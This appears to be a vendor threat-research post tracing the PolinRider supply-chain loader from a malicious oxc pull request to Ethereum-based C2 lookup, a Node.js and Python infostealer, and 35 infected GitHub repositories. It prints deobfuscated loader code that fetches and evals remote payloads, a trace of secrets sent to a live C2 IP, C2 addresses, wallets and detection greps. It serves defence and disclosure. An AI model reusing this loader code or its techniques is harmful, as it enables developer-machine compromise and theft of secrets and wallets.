PolinRider Switches to Ethereum C2 in 30+ Repositories

SafeDep Team
• • 17 min read

The PolinRider loader family has a new way to find its command and control (C2) servers. It reads Ethereum mainnet and looks for small transactions from an operator wallet. The recipient address of each transaction holds the IP address of a C2 server. SafeDep found two operator wallets that use this method. One wallet has sent a transaction about every 51 minutes since 2026-06-23. The other has sent one about every 3.3 hours since 2026-07-25. SafeDep confirmed 35 GitHub repositories that contain the loader at the tip of the default branch (HEAD) on 2026-09-30. Together they have 7,578 stars and 2,884 forks. The loader runs when a developer builds or starts the project. It then installs a Node.js and Python infostealer that takes environment secrets, browser passwords, cookies, and wallet data.

The investigation started with a pull request against oxc-project/oxc. That pull request added the loader to 20 build and test scripts. The maintainers did not merge it. This post follows the loader from that diff to the live servers, and then out to the other infected repositories.

Key findings

  • The loader encodes C2 IP addresses in the to field of Ethereum transactions. Two operator wallets use this method: 0x33ff3eda…9891 and 0xa322E5f3…Ef1a.
  • SafeDep confirmed 35 infected repositories. SafeDep decoded every file statically and linked each one to a wallet or Tron address. All 35 still carried the loader at HEAD on 2026-09-30.
  • The wallet histories are public. They show 11 C2 servers across both wallets. Eight of them are on one hosting provider, AS149440 Evoxt.
  • One infection writes two loaders into the same project. One loader uses Ethereum, and the other uses a Tron address pair that SafeDep did not find in public reports.
  • Two C2 servers, 198.105.127[.]210 and 166.88.134[.]62, also appear in the earlier SafeDep astro.config.mjs and @joyfill investigations.
  • The OpenSSF malicious-packages database has 70 npm and PyPI records that contain the second wallet. SafeDep found no public records for the first wallet.

The first signal

On 2026-09-30, oxc maintainer Boshen posted a screenshot of a pull request diff on X:

How do you handle these kind of attacks?

Very concerning.

@boshen_c on X

GitHub diff of oxc pull request 26629 showing obfuscated JavaScript in apps/oxfmt/conformance/download-fixtures.js

The diff shows dense JavaScript in apps/oxfmt/conformance/download-fixtures.js. The first statement is global.o='5-841-du'. The payload was visible only because of a bot. The pull request branch received an [autofix.ci] apply automated fixes commit (714958e5). The formatter split a one-line payload into 106 lines, and the diff view then showed them.

GitHub has removed the contributor account and its pull requests. The commits stay reachable in the oxc repository network by SHA. The commit that adds the loader is 41ab07a8.

The oxc commit

The GitHub API returns this metadata. SafeDep removed the two account names.

// GET /repos/oxc-project/oxc/commits/41ab07a849c68472779da562d1530cf19f116ccf (fields selected with jq)
{
"author": { "name": "<oxc maintainer>", "date": "2026-07-16T04:26:05Z" },
"committer": { "name": "<contributor account>", "date": "2026-09-25T07:24:44Z" },
"msg": "test(benchmark): wire parser ast_counts into the semantic bench ...",
"verification": "unsigned"
}

The author field uses the name and email of an oxc maintainer. The author date is ten weeks older than the commit date. The message describes a real benchmark change in tasks/benchmark/benches/semantic.rs. The other 20 changed files carry the payload. The pull request opened on 2026-09-14, and the commit date is 2026-09-25. Someone rewrote the branch after it opened. Git lets the person who makes a commit set any author name and date, so the author line alone proves nothing.

Each of the 20 files gets two edits. The first edit gives ES modules a require function. The second edit puts the payload on the last line, after 2,000 space characters.

// apps/oxfmt/conformance/download-fixtures.js @ 41ab07a8
// oxlint-disable no-console, no-await-in-loop
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
import { exec } from "node:child_process";
@@ -112,4 +114,4 @@ await Promise.all(
}
}),
);
); [2,000 spaces] global.o='5-841-du';var _$_fed0=(function(n,p){var z=n.length; ...

The added import uses single quotes, but the oxc code uses double quotes. TypeScript files carry the same JavaScript in Base64 inside eval("global.o='5-841-du';"+atob('...')). The attacker picked scripts that developers and CI jobs run often: build scripts, package patch scripts, code generation, conformance runners, a benchmark, and two test fixtures.

Stage 0 and stage 1: the loader prepares the process

SafeDep decoded every stage with Python scripts that copy the obfuscator math. The loader starts with a string table called _$_fed0. A shuffle function with seed 1019557 turns it into these values:

// _$_fed0 table, decoded
0x0 'undefined' 0x2 'console' 0x3..0xf 'log' 'info' 'warn' 'error' 'debug' 'trace' 'dir' ...
0x11 'r' 0x13 'm' 0x14 '___dirname' 0x15 '___filename'

The loader replaces every console method with an empty function, so later stages print nothing. It stores require in global.r, module in global.m, and the script path in global.___dirname and global.___filename. A second shuffle function (seed 3369804) produces the word constructor. The loader uses it to reach Function. It then builds a dictionary decoder that expands a 3.7 KB blob into stage 2.

Stage 2: reading the C2 address from Ethereum

Stage 2 is 6.3 KB of JavaScript. The full deobfuscated source is at the end of this post. It first checks a guard. If global._p_t is less than 30 seconds old, it stops. This prevents a second run when two infected scripts load in the same process.

The loader sends remote procedure calls (RPC) in JSON format to three public Ethereum endpoints in order:

// Stage 2 @ 41ab07a8 (string table resolved)
var __jso_block_param_14_o = await a(t, n, 'ethereum-rpc.publicnode.com1');
var __jso_block_param_13_o = await a(t, n, 'eth.drpc.org');
var __jso_block_param_12_o = await a(t, n, 'eth-mainnet.public.blastapi.io');

The first host name ends in 1, so that request always fails. The loader reads the current block number, rounds it down to a multiple of 256, and adds 3. It reads that block and looks for a transaction from a sender that contains a fixed string:

// Stage 2 @ 41ab07a8 (string table resolved)
var r = '33ff3edaf55a8e03dcbc7cb40d498a49';
// ...
if (__jso_nested_loop_3_o['from']['includes'](r)) {
return __jso_nested_loop_3_o['to'];
}

If the block has no match, the loader moves back by 256 blocks, then 512, then 1,024, up to 212 × 256 blocks. An old transaction still works, so the operator does not need to post in every window.

The loader returns the recipient address. The function h turns part of that address into IP:port:

// Stage 2 @ 41ab07a8 (string table resolved)
function h(t, n) {
return (
t['substring'](n, n + 8)
['match'](/.{2}/g)
['map'](function (t) {
return parseInt(t, 16);
})
['join']('.') +
':' +
parseInt(t['substring'](n + 8, n + 12), 16)
);
}

h(to, 2) reads 8 hex characters as an IPv4 address and the next 4 as a port. h(to, 14) reads a second pair. SafeDep ran the same lookup in Python against a public RPC endpoint:

// resolve_c2.py output, 2026-09-30
{
"block": 26090499,
"hash": "0x4af226961661ace5eec6afbf469f8acc26721fdcc3c2c167e2734f003177c4de",
"from": "0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891",
"to": "0xc6697fd201bb2d89c685005000ff68ce430f572a",
"input": "0x",
"value": "0x1f4"
}
C2 #1 198.105.127.210:443 C2 #2 45.137.198.133:80

You can check the decode by hand. c6 69 7f d2 is 198.105.127.210, and 01bb is 443. 2d 89 c6 85 is 45.137.198.133, and 0050 is 80. Block 26090499 modulo 256 is 3.

With the two addresses, the loader gets stage 3:

// Stage 2 @ 41ab07a8 (string table resolved, excerpt)
var __jso_block_param_4_y = "global.i='" + e + "';global.r=require;global.m=module;";
var __jso_block_param_3_g = await f('http://' + h(__jso_block_param_7_m, 2) + '/boot');
__jso_block_param_6_b('node', ['-e', __jso_block_param_4_y + __jso_block_param_3_g], __jso_block_param_5_w)['on'](
'error',
function (__jso_block_param_8_t) {}
);
eval(__jso_block_param_3_g);
var __jso_block_param_2__ = u('os');
if (
__jso_block_param_2__['platform']() === 'linux' &&
__jso_block_param_2__['release']()['includes']('microsoft-standard-WSL2')
) {
__jso_block_param_6_b('node.exe', ['-e', __jso_block_param_4_y + __jso_block_param_3_g], __jso_block_param_5_w)['on'](
'error',
function (__jso_block_param_8_t) {}
);
}

The /boot request carries the header X: 33ff3edaf55a8e03dcbc7cb40d498a49:5-841-du. The loader runs the response with eval. It also starts a detached node -e process with stdio: 'ignore' and windowsHide: true, which continues after the build script ends. On Windows Subsystem for Linux 2 (WSL2), it starts node.exe too, which moves the infection from the Linux guest to the Windows host. The loader then gets /0/boot from the second server in the same way.

The first wallet is a public log

The Ethereum method has a cost for the operator. The chain keeps a record of every C2 change. The wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 sent 2,895 transactions between 2026-06-23 and 2026-09-30. The median gap is 256 blocks, about 51 minutes. The most common block number modulo 256 is 3, which is the first block the loader reads. The values are 0, 150, or 500 wei.

The wallet used six recipient addresses:

Active (UTC)C2 #1 (/boot)C2 #2 (/0/boot)Hosting
2026-06-23 to 2026-06-2423.27.20[.]187:8023.27.20[.]187:443AS149440 Evoxt
2026-06-24 to 2026-09-0323.27.20[.]187:44323.27.20[.]187:80AS149440 Evoxt
2026-09-03 to 2026-09-07181.214.149[.]147:443181.214.149[.]147:80AS397423 Tier.Net
2026-09-07 to 2026-09-25181.214.149[.]148:443181.214.149[.]148:80AS397423 Tier.Net
2026-09-25 to 2026-09-28198.105.127[.]210:443198.105.127[.]210:80AS149440 Evoxt
2026-09-28 to 2026-09-30198.105.127[.]210:44345.137.198[.]133:80AS212477 RoyaleHosting

The wallet 0xd31A213E77C0E3Be774bD0DdBC86cf2D86090B59 sent 0.01 ether to the operator wallet 93 minutes before the first heartbeat. The first heartbeat is three months older than the oxc commit, so the oxc pull request was not the first use of this wallet.

Stages 3 to 5: from boot script to Python stealer

The two C2 servers return different boot scripts with the same obfuscator. 198.105.127[.]210:443/boot gets /init and runs a JavaScript field from the JSON response. 45.137.198[.]133/0/boot gets /0/body and decodes it with a fixed exclusive OR (XOR) key:

// /0/boot response from 45.137.198.133, decoded (excerpt)
var _V = _global['i'] || _global['o'] || _global['_V'] || '0';
var _require = _global['r'];
_global['_H'] = _global['_U'] = 'http://45.137.198.133';
await eval(
(function (input) {
var k = 'YU7m{rE/>|==b>#~';

The first line reads global.i, then global.o, then global._V. Older PolinRider samples set global._V or global['!']. One server can serve old and new infections.

The /0/body response is 54 KB of Node.js code with RC4 string encryption. SafeDep ran it under the Node.js permission model with a logging stub for require, blocked sockets, and fake host values:

// sandbox trace of /0/body (host name and user are fake values)
[call] child_process.exec( [ 'npm --prefix "/home/victim/.node_modules" install axios socket.io-client', { stdio: 'inherit', windowsHide: true }, '<fn>' ] )
[require] axios
[call] axios.post( [ 'http://45.137.198.133/snv', URLSearchParams { 'id' => 'victim-host$victim', 'user' => 'victim', 'body' => '{"HOME":"/nonexistent","OUT":"trace_body.hooked.js.log"}' } ] )
[call] fs.existsSync( [ '/home/victim/.local/bin/py' ] )
[call] child_process.spawn( [ '/home/victim/.local/bin/py', [ '-V' ], undefined ] )

The script installs axios and socket.io-client into a private npm prefix, ~/.node_modules. It posts the complete process.env to /snv. On a developer computer, that includes cloud keys and registry tokens in the shell. Its string table has a list of host and user names for CI runners and sandboxes, such as buildkitsandbox, github-runne, codespace, devcontainer, vercel-sandb, and assemblyline. The script marks those hosts as Blocked. It then installs Python (on Windows from python.7z and 7zr.exe) and pip from bootstrap.pypa.io. It starts a detached Python stager that gets /$/1 and runs it with exec.

The /$/1 response is 83 KB of Python after one reversed Base64 and zlib decode. It exits if the stager did not set a value:

# /$/1 response, decoded (lines 127 to 129)
B9=260924
Aj=BM(urllib.request.Request,'_target',E)
if not Aj:G.exit()

If a sandbox runs only this file, the file does nothing. The stealer takes Chromium and Firefox passwords and cookies, ~/.git-credentials, and data for 153 browser extension IDs. The IDs include MetaMask, Phantom, Coinbase Wallet, 1Password, and Bitwarden. On Linux, it reports Blocked (BOT) and deletes its work folder if the host has no saved passwords, no extensions, and no Firefox profile. It uploads a ZIP file to {_target}/u/f. If that fails, it sends the file with the Telegram Bot API. The C2 gives the Telegram token at run time, so the token is not in the sample.

Hunting for other infected repositories

The oxc marker 5-841-du suggested a counter. SafeDep searched the Sourcegraph public code index for the loader markers (global.o=, global.i="A, global['_V'], global['!'], and the _$_xxxx=(function( table pattern), including forks and archived repositories.

SafeDep downloaded each file at the indexed commit and decoded it with the same Python scripts. A repository is on the list only if the decoded loader contains one of the operator wallets or Tron addresses. Security tools and research repositories that store the markers as test data are not on the list.

The result is 35 confirmed repositories in three groups:

ResolverRepositoriesHeartbeatFirst transactionObfuscation
Ethereum wallet 0x33ff3eda…989113 (+ oxc pull request)every 256 blocks2026-06-23_$_xxxx shuffle tables
Ethereum wallet 0xa322E5f3…Ef1a18every 1,000 blocks2026-07-25obfuscator.io or plain JavaScript
Tron TCqf6Zka… (paired file)4n/an/a_$_xxxx shuffle tables

All 35 repositories still carried the loader at HEAD on 2026-09-30. The commit dates in them go back as far as 2017. The last push dates are between 2026-07-07 and 2026-09-28, after the wallets started. The attacker back-dates the commits in the same way as the oxc commit.

The infected projects include templates, admin dashboards, starter kits, and tutorials. Other developers fork and copy these projects. Four Creative Tim dashboard templates carry the loader and have 1,773 forks together. The complete list, with a link to one infected file at its commit for each repository, is in the infected repositories table below.

The second Ethereum wallet

The second group uses a different loader with the same idea. The code is plain JavaScript with Unicode escapes, or obfuscator.io output. This excerpt is from postcss.config.js in tailwindadmin/admin@e818e8e7, after SafeDep converted the \u escapes to characters:

// tailwindadmin/admin postcss.config.js @ e818e8e7 (Unicode escapes decoded, excerpt)
global.i = 'A10-*23720';
global.r = require;
typeof module === 'object' && (global.m = module);
// ...
((B = 1000n),
(S = '0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a'.toLowerCase()),
(I = 'https://eth.blockscout.com/api'),
(R = [
...new Set(
[
process.env.ETH_RPC_URL,
'https://1rpc.io/eth',
'https://eth.drpc.org',
'https://ethereum-rpc.publicnode.com',
'https://eth-mainnet.public.blastapi.io',
].filter(Boolean)
),
]));
// ...
const n2 = Buffer.from(e.tx.to.replace(/^0x/i, ''), 'hex'),
ip = (b) => b[0] + '.' + b[1] + '.' + b[2] + '.' + b[3],
[o, r] = [ip(n2.subarray(0, 4)), ip(n2.subarray(4, 8))];
// ...
await rl(new URL(`http://${o}:443/0x/cls`), 'q4FZkxX{!h,Sr3=@', !1);
await rl(new URL(`http://${o}:443/0x/ls`), 'y-p_>d$0B&@^1aQk', !0);

This loader reads blocks near a multiple of 1,000. If that fails, it searches by transaction count, and then it asks the Blockscout API for the wallet history. The first 8 bytes of the recipient address are two IPv4 addresses. The last 12 bytes are the same in every transaction. They are the ASCII text helloipbot!!:

// latest 0xa322 heartbeat, block 26089999
to: 0x5BDAb7Ae 5BDAb7aE 68656C6C6f6970626F742121
91.218.183.174 | 91.218.183.174 | h e l l o i p b o t ! !

The loader gets /0x/cls and /0x/ls with a Sec-V header that carries the marker. It sets global._H, _H2, _t_s, and _t_u. These names also occur in the astro.config.mjs and @joyfill samples.

The wallet sent 491 transactions from 2026-07-25. It used six C2 servers, and every server is on AS149440 Evoxt:

Active (UTC)C2
2026-07-25 to 2026-08-22166.88.134[.]62
2026-08-22 to 2026-08-2723.27.13[.]135
2026-08-28 to 2026-09-03166.88.73[.]46
2026-09-04 to 2026-09-17193.247.144[.]38
2026-09-17 to 2026-09-28166.88.134[.]75
2026-09-28 to 2026-09-3091.218.183[.]174

The first server, 166.88.134[.]62, is the server that the @joyfill stage 2 selects for markers that start with A. The markers in this group also start with A.

This wallet also appears outside GitHub repositories. The Open Source Security Foundation (OpenSSF) malicious-packages database has 70 records (68 npm and 2 PyPI) that contain 0xa322E5f3 or the /0x/cls path. OpenSSF published these records between 2026-06-24 and 2026-09-30. Most packages are look-alike Tailwind CSS and PostCSS plugins. A few packages use scopes that look like real projects.

One infection writes two loaders

Six repositories carry a Tron loader with a marker that ends in -1. In two of them, the search index also holds an Ethereum loader with the same number. For example, one file sets global.o='1-35' and uses the 0x33ff wallet. Another file in the same repository sets global.i='1-35-1' and uses Tron. The Tron file reads TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF with the fallback TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH, and two Aptos accounts. SafeDep did not find these addresses in public reports. In the other four repositories, the search index holds only the Tron file.

The markers also carry over between generations. The four Creative Tim templates use global.i="A9-0337-4". Two repositories of the admin-dashboards organization carry an older Tron-era file with global['!']='9-0337-4'. Three repositories of one owner all use A8-3465. SafeDep infers that the number identifies an infected developer or organization, not a build of the malware. The oxc marker 5-841-du and the markers 5-1169-du and 5-1460-du in other repositories fit a counter.

This matches how PolinRider spreads. An infected developer computer adds the loader to the projects of that developer and pushes them with a faked date. The astro.config.mjs investigation found the push tool name, temp_auto_push.bat, in a .gitignore file. The oxc case is different in one way. The attacker did not own oxc, so the loader arrived through a pull request.

Propertyastro.config.mjs (2026-05)@joyfill (2026-07)This campaign (2026-06 to 2026-09)
C2 198.105.127[.]210YesYes, :443Yes, :443, wallet 0x33ff
C2 166.88.134[.]62NoYes, A markersYes, wallet 0xa322, A markers
HostingAS149440 EvoxtAS149440 EvoxtAS149440 Evoxt for 8 of 11 servers
global._p_t 30 second guardYesYesYes
global.r, global.m, ___dirnameYesYesYes
_H, _H2, _t_s, _t_u variables_H, _H2_t_s, _t_uAll four
Detached node -e fallbackYesYesYes
Payload after long whitespaceYesNo (npm bundle)Yes
ChainTron, BNB Smart Chain, AptosTron, BNB Smart Chain, AptosEthereum, plus a new Tron pair

The @joyfill stage 3 was a 77 KB LZ-compressed bot client. The /init response from 198.105.127[.]210 has a 74.8 KB LZString field. SafeDep infers that this is the same bot client. The obfuscator renames every identifier, so this is not confirmed yet.

Attacker techniques

TechniqueEvidence
Hide code with whitespace (T1027)Payload after 2,000 spaces on the last line of a file
Forge commit metadata (T1036)Maintainer name in the author field, commit dates back to 2017
Run through developer tools (T1059.007)Build, patch, bundler, PostCSS, Tailwind, Vite, and Metro scripts
Dead drop resolver on a public blockchain (T1102.001)C2 IP address in the to field of Ethereum transactions
Rotate C2 without code changes11 servers across two wallets, one transaction per change
Detached processes (T1564)node -e with detached: true, setsid, CREATE_NO_WINDOW
Move from WSL2 to WindowsStarts node.exe when the kernel release has microsoft-standard-WSL2
Evade sandboxes (T1497)Host and user name list, Blocked (BOT) check, _target check
Collect browser credentials (T1555.003)Chromium and Firefox stores, 153 extension IDs
Collect environment secrets (T1552)Full process.env sent to /snv
Exfiltrate to a web service (T1567)Upload to /u/f, fallback to Telegram sendDocument

Detection and response

If you cloned or forked a project in the table below and ran a build, a development server, or a test, treat the computer as compromised. Rotate every secret that was in the shell environment. Rotate browser-saved passwords and session cookies. Move funds out of any wallet extension on that computer. Look for ~/.node_modules, ~/.local/bin/py, /tmp/.pip, and tmp7A863DD1.tmp, and for detached node or python processes with -e or -c arguments.

If you own one of these repositories, remove the payload from every file in the table and from other JavaScript and TypeScript files. Then check the computers that pushed to the repository. The loader comes from an infected developer computer, and a clean repository gets infected again if that computer stays infected.

For network detection, look for a node process that calls a public Ethereum RPC endpoint or the Blockscout API. Then look for a connection from the same process to a raw IP address on port 80 or 443. The requests carry an X header with a 32-character hex value, or a Sec-V header with a marker.

For code review and scanning, these checks find both loaders:

Terminal window
# Lines longer than 1,000 characters in JavaScript or TypeScript files
grep -rnE '.{1000,}' --include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts' .
# Markers of this loader family
grep -rnE "global\.o='|global\.i=\"A|_\\\$_[0-9a-f]{4}=\(function|createRequire\(import\.meta\.url\)" .
# Commits where the author and the committer are different
git log --format='%h|%an|%cn|%ad|%cd' | awk -F'|' '$2 != $3'

The second loader often hides in files named fa-solid-400.woff2 under public/fonts/. That file is JavaScript, not a font. Check any font file that file reports as text.

Infected repositories

All 35 repositories below carried the loader at HEAD on 2026-09-30. Each link points to one infected file at the commit that the search index held. A link can return 404 later if the owner removes the history.

polinrider-ethereum-infected-repositories.csv
Row Repository Resolver Marker Infected files in index Stars Forks Last push Evidence (file at commit)
1 technext/100-template-list Ethereum wallet 0x33ff3eda 5-1460-du 5 208 168 2026-09-21 https://github.com/technext/100-template-list/blob/9c70c9b1409ec41f12929d1d9e6faed255663148/64%20gentelella/vendors/autosize/build.js
2 aboozaid/react-native-facerecognition Ethereum wallet 0x33ff3eda 5-2-228-du 1 217 76 2026-07-15 https://github.com/aboozaid/react-native-facerecognition/blob/3f49c10affd186eff4160993999940bf3d728bea/example/metro.config.js
3 efstathiosntonas/react-native-style-libraries-benchmark Ethereum wallet 0x33ff3eda 5-2-272-du 1 481 34 2026-07-12 https://github.com/efstathiosntonas/react-native-style-libraries-benchmark/blob/5d8216b8bcac3c42c71fad75a44426f59809ef35/tailwind.config.js
4 SFARPak/AliFullStack Ethereum wallet 0x33ff3eda 5-1169-du 17 82 21 2026-09-07 https://github.com/SFARPak/AliFullStack/blob/c34f5cfea36db008b7c3e29c0d451b60758a30f4/Roo-Code/src/esbuild.mjs
5 aliezzahn/event-timeline-roadmap Ethereum wallet 0x33ff3eda 5-4-44-du 1 90 20 2026-07-20 https://github.com/aliezzahn/event-timeline-roadmap/blob/ac6232d87ed046450eb04071fda5f150c899a28a/postcss.config.mjs
6 gumlau/nextjs-seo-blog-starter Ethereum wallet 0x33ff3eda 5-2-314-du 1 54 6 2026-07-14 https://github.com/gumlau/nextjs-seo-blog-starter/blob/a76b91d8b06b657fb0cf35ba7568c1354b817942/next.config.ts
7 flecs-hub/flecs-polyglot Ethereum wallet 0x33ff3eda 5-2-457-du 1 62 4 2026-07-25 https://github.com/flecs-hub/flecs-polyglot/blob/a200d50cde253dd87f22942ee707f7d66a1a5c3e/ts/examples/basic/src/index.ts
8 TheSentora/Crypto-Web3-Copilot-App Ethereum wallet 0x33ff3eda 1-23 2 369 2 2026-09-15 https://github.com/TheSentora/Crypto-Web3-Copilot-App/blob/5869c7c4ed809e939ee825308c93ae7dc8ac67a5/copilot-app/Ai/Ai/next.config.js
9 subramanianv/CertificateVerification Ethereum wallet 0x33ff3eda 8-11356 1 379 2 2026-07-10 https://github.com/subramanianv/CertificateVerification/blob/a4d2f786caafed56bbe7776db5ca3b7f6366c601/webpack.config.js
10 morganjweaver/liquibet Ethereum wallet 0x33ff3eda 8-10173 1 237 1 2026-07-07 https://github.com/morganjweaver/liquibet/blob/a789efb022f35b5d7f0fb6159cdabf4ddc6f7c71/frontend/postcss.config.js
11 Dhruvone8/iChat Ethereum wallet 0x33ff3eda 1-35 1 370 0 2026-07-15 https://github.com/Dhruvone8/iChat/blob/2dcef82f361c07c2e13c14053e6cdf40b34684e7/backend/server.js
12 Web3-Builders-Alliance/convergence Ethereum wallet 0x33ff3eda 8-10197 1 218 0 2026-07-07 https://github.com/Web3-Builders-Alliance/convergence/blob/e2e92e2a4df749258905dc67920fb26be8a2cd2c/app/postcss.config.js
13 Lynxverse/lynxverse.io Ethereum wallet 0x33ff3eda 8-10702 2 377 0 2026-07-09 https://github.com/Lynxverse/lynxverse.io/blob/d29d777d094f6b0c94d979653bdecbb7efcfadf2/postcss.config.js
14 creativetimofficial/black-dashboard-django Ethereum wallet 0xa322E5f3 A9-0337-4 1 232 531 2026-09-10 https://github.com/creativetimofficial/black-dashboard-django/blob/f55a30c353e1d7b06ff169cd7dd2595a2962b736/postcss.config.js
15 creativetimofficial/argon-dashboard-django Ethereum wallet 0xa322E5f3 A9-0337-4 1 176 513 2026-09-10 https://github.com/creativetimofficial/argon-dashboard-django/blob/f3c0a8f8b7f3b2051c9366d044d4054cca643560/apps/static/assets/vendor/bootstrap-datetimepicker.js
16 creativetimofficial/material-dashboard-django Ethereum wallet 0xa322E5f3 A9-0337-4 1 99 418 2026-09-10 https://github.com/creativetimofficial/material-dashboard-django/blob/fab45b237af2a97f40d980a4a36febd96a382505/postcss.config.js
17 creativetimofficial/argon-dashboard-flask Ethereum wallet 0xa322E5f3 A9-0337-4 1 79 311 2026-09-10 https://github.com/creativetimofficial/argon-dashboard-flask/blob/0ca599415baae8a2653e548eceb7c96255100485/apps/static/assets/vendor/bootstrap-datetimepicker.js
18 CommunityPro/portfolio-html Ethereum wallet 0xa322E5f3 A8-*#new 1 677 292 2026-08-22 https://github.com/CommunityPro/portfolio-html/blob/724291e11152425565ea77e3a6041f7a33eb7119/public/fonts/fa-solid-400.woff2
19 Mshandev/Food-Delivery Ethereum wallet 0xa322E5f3 A9-0258-2 2 218 212 2026-09-09 https://github.com/Mshandev/Food-Delivery/blob/81e064ef4afbd0c68d9c79a5b878bbae414e6e33/admin/vite.config.js
20 tailwindadmin/admin Ethereum wallet 0xa322E5f3 A10-*23720 1 478 95 2026-08-10 https://github.com/tailwindadmin/admin/blob/e818e8e74aad30a5dedf9f54ab69428011bf67be/postcss.config.js
21 richardokonicha/parsesig Ethereum wallet 0xa322E5f3 A8-*# 1 58 45 2026-08-01 https://github.com/richardokonicha/parsesig/blob/e04574879b056cec8b5dc3ec7e92511dcafdafaf/public/fonts/fa-solid-400.woff2
22 Iamzaryab/Flutter-Movie-App-with-Clean-Architecture-and-RiverPod-State-Management Ethereum wallet 0xa322E5f3 A10-*020 1 108 27 2026-08-31 https://github.com/Iamzaryab/Flutter-Movie-App-with-Clean-Architecture-and-RiverPod-State-Management/blob/6c1c25b5df3c251001c87da2f843d792789cda30/public/fonts/fa-solid-400.woff2
23 ZahraShahid/MyRealEstateWebsite Ethereum wallet 0xa322E5f3 A9-146-1 1 119 21 2026-09-05 https://github.com/ZahraShahid/MyRealEstateWebsite/blob/cf1dd1f0c02a40cd5e148eed73f6d04d6797fde9/Backend/routes/AboutUs.js
24 gigabytedevelopers/FireFiles Ethereum wallet 0xa322E5f3 A8-ne 1 70 18 2026-09-04 https://github.com/gigabytedevelopers/FireFiles/blob/99216df3fbc8a131e7d051f3feb373cc00c54ac6/public/fonts/fa-solid-500.woff2
25 umairjameel321/next-auth-mongodb Ethereum wallet 0xa322E5f3 A8-3465 1 116 17 2026-08-24 https://github.com/umairjameel321/next-auth-mongodb/blob/794095709f4c945ff7e7e5955fb35a8114d23e10/postcss.config.js
26 umairjameel321/next14-restapis Ethereum wallet 0xa322E5f3 A8-3465 1 61 17 2026-08-24 https://github.com/umairjameel321/next14-restapis/blob/c16c26764204a9bfdbfc6f3fdeb81a12834b0ab4/postcss.config.mjs
27 mE-uMAr/fastapi-crons Ethereum wallet 0xa322E5f3 A10-*020 1 92 14 2026-09-28 https://github.com/mE-uMAr/fastapi-crons/blob/f470028674a07a8ac229071ecf6a3628c537790e/public/fonts/fa-solid-400.woff2
28 umairjameel321/authjsv5nextjs Ethereum wallet 0xa322E5f3 A8-3465 1 86 8 2026-08-24 https://github.com/umairjameel321/authjsv5nextjs/blob/906ca62e278d708e73e3dd3ba0c26fd88d72b920/postcss.config.mjs
29 oslabs-beta/projectArtemis Ethereum wallet 0xa322E5f3 A8-*# 1 86 8 2026-08-02 https://github.com/oslabs-beta/projectArtemis/blob/a4d3e4a686d18fa73f1bf4d92e414f3ee3199bf2/public/fonts/fa-solid-400.woff2
30 boostcampwm-2022/android04-BEEP Ethereum wallet 0xa322E5f3 A8-*#new 1 80 2 2026-08-24 https://github.com/boostcampwm-2022/android04-BEEP/blob/8ce55b1cf74e000d1ada7d2b5b20fcd0fe04a38d/public/fonts/fa-solid-400.woff2
31 suleman-the-stammer/zeropark-master Ethereum wallet 0xa322E5f3 A10-*3046-20 1 123 0 2026-08-29 https://github.com/suleman-the-stammer/zeropark-master/blob/93e9ccc81d78648123b08399267ec942025e76cc/vite.config.js
32 echo-riga/Help-Desk-System Tron TCqf6Zka (paired file) 1-34-1 1 370 1 2026-05-21 https://github.com/echo-riga/Help-Desk-System/blob/7a5f99638eb224ee5810897a58fc8ea797f91fd8/frontend/vite.config.js
33 SahilSharan/multimart-react-ecommerce-main Tron TCqf6Zka (paired file) 1-36-1 1 371 0 2026-05-21 https://github.com/SahilSharan/multimart-react-ecommerce-main/blob/3ab63f2a9d46df0201889a1a7040560972e38022/src/index.js
34 Leoneldev532/Free-Ui-game Tron TCqf6Zka (paired file) 1-31-1 1 367 0 2026-05-20 https://github.com/Leoneldev532/Free-Ui-game/blob/d531092c2726551a313e2f342ff7bb0d1c740cf5/postcss.config.mjs
35 devpardo/mannylapidamaker Tron TCqf6Zka (paired file) 1-26-1 1 368 0 2026-05-16 https://github.com/devpardo/mannylapidamaker/blob/74939f477789077e9bb33d05c01005704c015ca4/postcss.config.mjs
35 rows
| 8 columns

Indicators of compromise

polinrider-ethereum-c2-iocs.csv
Row Indicator Type Stage Context
1 41ab07a849c68472779da562d1530cf19f116ccf Git commit 0 Commit in the oxc network that injects the loader into 20 files
2 global.o='5-841-du' Code marker 0 Campaign marker set at the start of the injected loader
3 _$_fed0 Code marker 0 String table name in the injected loader
4 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 Ethereum address 2 Operator wallet. Sends the C2 heartbeat transaction every 256 blocks
5 0xc6697fd201BB2d89C685005000FF68cE430F572A Ethereum address 2 Heartbeat recipient from 2026-09-28. Encodes 198.105.127.210:443 and 45.137.198.133:80
6 0xC6697Fd201bBC6697fd2005000FF7FBa91BD7115 Ethereum address 2 Heartbeat recipient 2026-09-25 to 2026-09-28. Encodes 198.105.127.210
7 0xB5D6959401bbb5D69594005000ff8C84e0b715b1 Ethereum address 2 Heartbeat recipient 2026-09-07 to 2026-09-25. Encodes 181.214.149.148
8 0xB5D6959301bbB5D69593005000FfABa8a5A2ADA2 Ethereum address 2 Heartbeat recipient 2026-09-03 to 2026-09-07. Encodes 181.214.149.147
9 0x171B14bb01bB171B14BB0050EB7f39C35C47E682 Ethereum address 2 Heartbeat recipient 2026-06-24 to 2026-09-03. Encodes 23.27.20.187
10 0x171B14bB0050171b14Bb01BB398EAAB6441Fbd47 Ethereum address 2 Heartbeat recipient 2026-06-23 to 2026-06-24. Encodes 23.27.20.187
11 0xd31A213E77C0E3Be774bD0DdBC86cf2D86090B59 Ethereum address 2 Funded the operator wallet on 2026-06-23 and 2026-08-04
12 0x76D6dDCBDE60c1DFDBE4E836D7122C3B49216907 Ethereum address 2 Funded the operator wallet on 2026-09-28
13 198.105.127.210 IP address 3 C2. /boot and /init on port 443 over plain HTTP. AS149440
14 45.137.198.133 IP address 3 C2. /0/boot /0/body /snv and /$/1 on port 80. AS212477
15 181.214.149.147 IP address 3 C2 2026-09-03 to 2026-09-07. AS397423
16 181.214.149.148 IP address 3 C2 2026-09-07 to 2026-09-25. AS397423
17 23.27.20.187 IP address 3 C2 2026-06-23 to 2026-09-03. AS149440
18 X: 33ff3edaf55a8e03dcbc7cb40d498a49:5-841-du HTTP header 2 Header on the /boot request
19 YU7m{rE/>|==b>#~ XOR key 3 Decrypts the /0/body response
